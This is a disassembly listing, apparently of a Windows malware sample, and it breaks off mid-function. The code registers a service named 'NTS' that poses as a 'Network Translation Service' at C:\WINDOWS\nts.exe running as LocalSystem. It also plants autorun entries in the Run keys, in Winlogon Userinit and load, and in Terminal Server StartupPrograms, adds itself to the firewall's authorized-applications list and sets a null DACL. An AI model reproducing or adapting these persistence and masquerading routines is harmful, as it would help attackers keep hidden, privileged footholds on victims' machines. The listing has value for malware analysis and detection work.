sub_404E08	proc near		; CODE XREF: sub_404F2A+6Dp
					; sub_405BE3:loc_405C1Bp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_404E52
		push	96h
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jz	short loc_404E49
		push	esi
		call	sub_404D73
		pop	ecx
		mov	edi, eax
		push	esi
		call	dword_411E4C	; CloseServiceHandle


loc_404E49:				; CODE XREF: sub_404E08+2Fj
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, edi


loc_404E52:				; CODE XREF: sub_404E08+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404E08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E56	proc near		; CODE XREF: DMN0:00405B1Ap
					; sub_4066F1+428p ...

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	edi, eax
		test	eax, eax
		jz	loc_404F23
		push	16h
		push	offset aNts	; "NTS"
		push	edi
		call	dword_411E48	; OpenServiceA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_404EB2
		push	ebx
		call	sub_404D73
		pop	ecx
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_404EAE
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		push	edi
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, esi
		jmp	short loc_404F23
; ---------------------------------------------------------------------------


loc_404EAE:				; CODE XREF: sub_404E56+44j
		xor	esi, esi
		jmp	short loc_404EC2
; ---------------------------------------------------------------------------


loc_404EB2:				; CODE XREF: sub_404E56+36j
		push	14h
		push	offset aNts	; "NTS"
		push	edi
		call	dword_411E48	; OpenServiceA
		mov	ebx, eax


loc_404EC2:				; CODE XREF: sub_404E56+5Aj
		test	ebx, ebx
		jnz	short loc_404ED1
		push	edi
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_404F23
; ---------------------------------------------------------------------------


loc_404ED1:				; CODE XREF: sub_404E56+6Ej
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_411E50	; QueryServiceStatus
		test	eax, eax
		jz	short loc_404EE9
		cmp	[ebp+var_18], 4
		jnz	short loc_404EE9
		xor	esi, esi
		inc	esi


loc_404EE9:				; CODE XREF: sub_404E56+88j
					; sub_404E56+8Ej
		test	esi, esi
		jnz	short loc_404F13
		push	0
		push	0
		push	ebx
		call	dword_411E5C	; StartServiceA
		test	eax, eax
		jz	short loc_404F03
		mov	esi, 2
		jmp	short loc_404F13
; ---------------------------------------------------------------------------


loc_404F03:				; CODE XREF: sub_404E56+A4j
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_404F13
		or	esi, 0FFFFFFFFh


loc_404F13:				; CODE XREF: sub_404E56+95j
					; sub_404E56+ABj ...
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		push	edi
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, esi


loc_404F23:				; CODE XREF: sub_404E56+1Ej
					; sub_404E56+56j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F2A	proc near		; CODE XREF: sub_405BE3:loc_405C2Cp
					; sub_4066F1+3F3p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_113		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	esi, eax
		test	eax, eax
		jz	loc_405065
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	0
		push	2
		push	110h
		push	0F01FFh
		push	offset aNetworkTransla ; "Network Translation Service"
		push	offset aNts	; "NTS"
		push	esi
		call	dword_411E60	; CreateServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_404FB2
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 431h
		jnz	short loc_404FA4
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		call	sub_404E08
		xor	eax, eax
		inc	eax
		jmp	loc_405065
; ---------------------------------------------------------------------------


loc_404FA4:				; CODE XREF: sub_404F2A+64j
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	loc_405065
; ---------------------------------------------------------------------------


loc_404FB2:				; CODE XREF: sub_404F2A+57j
		push	offset aServiceRegiste ; "service registered\n"
		call	nullsub_2
		pop	ecx
		xor	edi, edi
		inc	edi
		push	0FFh
		push	offset aProvidesHardwa ; "Provides hardware-to-software	binary ne"...
		lea	eax, [ebp+var_113]
		push	eax
		call	dword_411D3C	; lstrcpyn
		lea	eax, [ebp+var_113]
		mov	[ebp+var_120], eax
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		push	ebx
		call	dword_411E58	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_405007
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_405007
		or	edi, 0FFFFFFFFh


loc_405007:				; CODE XREF: sub_404F2A+CBj
					; sub_404F2A+D8j
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E58	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_405055
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_405055
		or	edi, 0FFFFFFFFh


loc_405055:				; CODE XREF: sub_404F2A+119j
					; sub_404F2A+126j
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, edi


loc_405065:				; CODE XREF: sub_404F2A+1Fj
					; sub_404F2A+75j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404F2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40506C	proc near		; CODE XREF: sub_403FEA+9p
					; sub_4066F1+B0p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4050AE
		push	0F01FFh
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		push	esi
		call	dword_411E64	; DeleteService
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_4050AE:				; CODE XREF: sub_40506C+15j
		pop	esi
		pop	ebx
		retn
sub_40506C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050B1	proc near		; CODE XREF: sub_405BE3+2Ap
					; sub_4066F1+40Ap

var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_534		= byte ptr -534h
var_409		= byte ptr -409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 53Ch
		push	ebx
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407650
		pop	ecx
		add	ebx, eax
		push	offset aNts	; "NTS"
		push	ebx
		call	sub_407670
		pop	ecx
		pop	ecx
		xor	esi, esi
		lea	eax, [ebp+var_404]
		push	eax
		push	0F003Fh
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		push	80000002h
		call	dword_411E30	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40517F
		mov	[ebp+var_408], 12Ch
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_404]
		call	dword_411E68	; RegQueryValueExA
		mov	[ebp+var_53C], eax
		test	eax, eax
		jnz	short loc_405173
		mov	[ebp+var_409], 0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_405173
		xor	esi, esi
		inc	esi


loc_405173:				; CODE XREF: sub_4050B1+A0j
					; sub_4050B1+BDj
		push	[ebp+var_404]
		call	dword_411E2C	; RegCloseKey


loc_40517F:				; CODE XREF: sub_4050B1+64j
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4050B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405187	proc near		; CODE XREF: sub_405BE3+33p
					; sub_4066F1+413p

var_40C		= byte ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_408]
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_407650
		pop	ecx
		add	ebx, eax
		push	offset aNts	; "NTS"
		push	ebx
		call	sub_407670
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_408]
		push	eax
		push	80000002h
		call	dword_411E24	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_4052FC
		mov	[ebp+var_8], 110h
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aType	; "Type"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		mov	[ebp+var_8], 2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	0Ch
		push	offset aLocalsystem ; "LocalSystem"
		push	1
		push	0
		push	offset aObjectname ; "ObjectName"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	offset aNetworkTransla ; "Network Translation Service"
		call	sub_407650
		pop	ecx
		inc	eax
		push	eax
		push	offset aNetworkTransla ; "Network Translation Service"
		push	1
		push	0
		push	offset aDisplayname ; "DisplayName"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	offset aProvidesHardwa ; "Provides hardware-to-software	binary ne"...
		call	sub_407650
		pop	ecx
		inc	eax
		push	eax
		push	offset aProvidesHardwa ; "Provides hardware-to-software	binary ne"...
		push	1
		push	0
		push	offset aDescription ; "Description"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	sub_407650
		pop	ecx
		inc	eax
		push	eax
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	1
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_4052FC:				; CODE XREF: sub_405187+6Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405187	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
		push	0
		push	0
		push	0
		call	dword_411D40	; CreateEventA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_405335
		push	ebx
		call	dword_411D44	; SetEvent
		mov	esi, eax
		push	ebx
		call	dword_411CF8	; CloseHandle
		test	esi, esi
		jz	short loc_405333
		xor	eax, eax
		inc	eax
		jmp	short loc_405335
; ---------------------------------------------------------------------------


loc_405333:				; CODE XREF: DMN0:0040532Cj
		xor	eax, eax


loc_405335:				; CODE XREF: DMN0:00405318j
					; DMN0:00405331j
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405338	proc near		; CODE XREF: sub_405545+89p
					; sub_4055DB+CAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40538A
		push	[ebp+arg_C]
		call	sub_407650
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_40538A:				; CODE XREF: sub_405338+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_405338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538E	proc near		; CODE XREF: sub_405496+3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_407650
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_407650
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4053D2
; ---------------------------------------------------------------------------


loc_4053B4:				; CODE XREF: sub_40538E+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC	; CompareStringA
		cmp	eax, 2
		jnz	short loc_4053D0
		mov	eax, esi
		jmp	short loc_4053D8
; ---------------------------------------------------------------------------


loc_4053D0:				; CODE XREF: sub_40538E+3Cj
		inc	esi
		dec	edi


loc_4053D2:				; CODE XREF: sub_40538E+24j
		cmp	edi, ebx
		jge	short loc_4053B4
		xor	eax, eax


loc_4053D8:				; CODE XREF: sub_40538E+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40538E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DF	proc near		; CODE XREF: sub_405496+23p
					; sub_405545+4Ap ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		cmp	edi, 1
		jl	short loc_4053FA
		test	esi, esi
		jnz	short loc_405401


loc_4053FA:				; CODE XREF: sub_4053DF+15j
		xor	eax, eax
		jmp	loc_40548F
; ---------------------------------------------------------------------------


loc_405401:				; CODE XREF: sub_4053DF+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_405420
		xor	eax, eax
		jmp	short loc_40548F
; ---------------------------------------------------------------------------


loc_405420:				; CODE XREF: sub_4053DF+3Bj
		push	[ebp+arg_4]
		push	offset aRegreadOpenedS ; "RegRead(): opened %s\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		push	0
		push	esi
		call	sub_4075D0
		add	esp, 0Ch
		lea	eax, [edi-1]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	ebx
		push	[ebp+var_8]
		call	dword_411E68	; RegQueryValueExA
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_411E2C	; RegCloseKey
		cmp	[ebp+var_C], 0
		jnz	short loc_405480
		push	esi
		push	ebx
		push	[ebp+var_4]
		push	offset aRegreadReadIBy ; "RegRead(): read %i bytes from	%s (%s)\n"
		call	nullsub_2
		add	esp, 10h
		mov	eax, [ebp+var_4]
		dec	eax
		jmp	short loc_40548F
; ---------------------------------------------------------------------------


loc_405480:				; CODE XREF: sub_4053DF+87j
		push	ebx
		push	offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_40548F:				; CODE XREF: sub_4053DF+1Dj
					; sub_4053DF+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4053DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405496	proc near		; CODE XREF: sub_405545+23p
					; sub_4055DB+24p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407730
		push	ebx
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DF
		add	esp, 14h
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4054E3
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_40538E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4054E1
		xor	eax, eax
		inc	eax
		jmp	short loc_4054E3
; ---------------------------------------------------------------------------


loc_4054E1:				; CODE XREF: sub_405496+44j
		xor	eax, eax


loc_4054E3:				; CODE XREF: sub_405496+2Fj
					; sub_405496+49j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405496	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054E8	proc near		; CODE XREF: sub_405774+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_C]
		test	edi, edi
		jz	short loc_405501
		mov	byte ptr [ebx],	22h
		inc	ebx
		jmp	short loc_405504
; ---------------------------------------------------------------------------


loc_405501:				; CODE XREF: sub_4054E8+11j
		mov	byte ptr [ebx],	0


loc_405504:				; CODE XREF: sub_4054E8+17j
		push	[esp+0Ch+arg_4]
		push	ebx
		call	sub_407670
		pop	ecx
		pop	ecx
		push	[esp+0Ch+arg_4]
		call	sub_407650
		pop	ecx
		add	ebx, eax
		test	edi, edi
		jz	short loc_405524
		mov	byte ptr [ebx],	22h
		inc	ebx


loc_405524:				; CODE XREF: sub_4054E8+36j
		test	esi, esi
		jz	short loc_40553E
		mov	byte ptr [ebx],	20h
		inc	ebx
		push	esi
		push	ebx
		call	sub_407670
		pop	ecx
		pop	ecx
		push	esi
		call	sub_407650
		pop	ecx
		add	ebx, eax


loc_40553E:				; CODE XREF: sub_4054E8+3Ej
		mov	byte ptr [ebx],	0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4054E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405545	proc near		; CODE XREF: sub_405774+78p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407730
		push	ebx
		push	dword_4128A4
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_405496
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4055D6
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_4053DF
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4055A4
		mov	[ebp+var_2000],	0


loc_4055A4:				; CODE XREF: sub_405545+56j
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_405338
		add	esp, 10h


loc_4055D6:				; CODE XREF: sub_405545+2Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055DB	proc near		; CODE XREF: sub_405774+7Dp

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407730
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405496
		add	esp, 10h
		test	eax, eax
		jnz	loc_4056AD
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4053DF
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40563F
		mov	[ebp+var_2000],	0


loc_40563F:				; CODE XREF: sub_4055DB+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_405664
		lea	esi, [ebp+var_2000]
		jmp	short loc_405651
; ---------------------------------------------------------------------------


loc_405650:				; CODE XREF: sub_4055DB+79j
		inc	esi


loc_405651:				; CODE XREF: sub_4055DB+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_405650
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_405664
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_405664:				; CODE XREF: sub_4055DB+6Bj
					; sub_4055DB+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_40568F
		push	offset asc_40E73B ; ","
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_40568F:				; CODE XREF: sub_4055DB+9Fj
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405338
		add	esp, 10h


loc_4056AD:				; CODE XREF: sub_4055DB+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4055DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056B3	proc near		; CODE XREF: sub_405774+82p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407730
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405496
		add	esp, 10h
		test	eax, eax
		jnz	loc_40576E
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4053DF
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405717
		mov	[ebp+var_2000],	0


loc_405717:				; CODE XREF: sub_4056B3+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_40573C
		lea	esi, [ebp+var_2000]
		jmp	short loc_405729
; ---------------------------------------------------------------------------


loc_405728:				; CODE XREF: sub_4056B3+79j
		inc	esi


loc_405729:				; CODE XREF: sub_4056B3+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_405728
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_40573C
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_40573C:				; CODE XREF: sub_4056B3+6Bj
					; sub_4056B3+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405338
		add	esp, 10h


loc_40576E:				; CODE XREF: sub_4056B3+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4056B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405774	proc near		; CODE XREF: sub_4066F1+557p

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407730
		push	1
		push	offset asc_40E6FF ; "*"
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_4054E8
		add	esp, 10h
		push	offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
		call	nullsub_2
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aNetworkTransla ; "Network Translation Service"
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_405338
		add	esp, 10h
		push	offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
		call	nullsub_2
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aNetworkTransla ; "Network Translation Service"
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_405338
		add	esp, 10h
		call	sub_405545
		call	sub_4055DB
		call	sub_4056B3
		mov	esp, ebp
		pop	ebp
		retn
sub_405774	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4057FF	proc near		; CODE XREF: sub_4066F1+236p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_407730
		mov	[ebp+var_2000],	0
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset aNts	; "NTS"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	dword_4128A4
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_405338
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_4057FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_405870	proc near		; CODE XREF: DMN0:00405A8Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	14h
		push	40h
		call	dword_411CE0	; LocalAlloc
		mov	[ebp+var_10], eax
		push	1
		push	[ebp+var_10]
		call	dword_411E38	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	[ebp+var_10]
		call	dword_411E3C	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 1
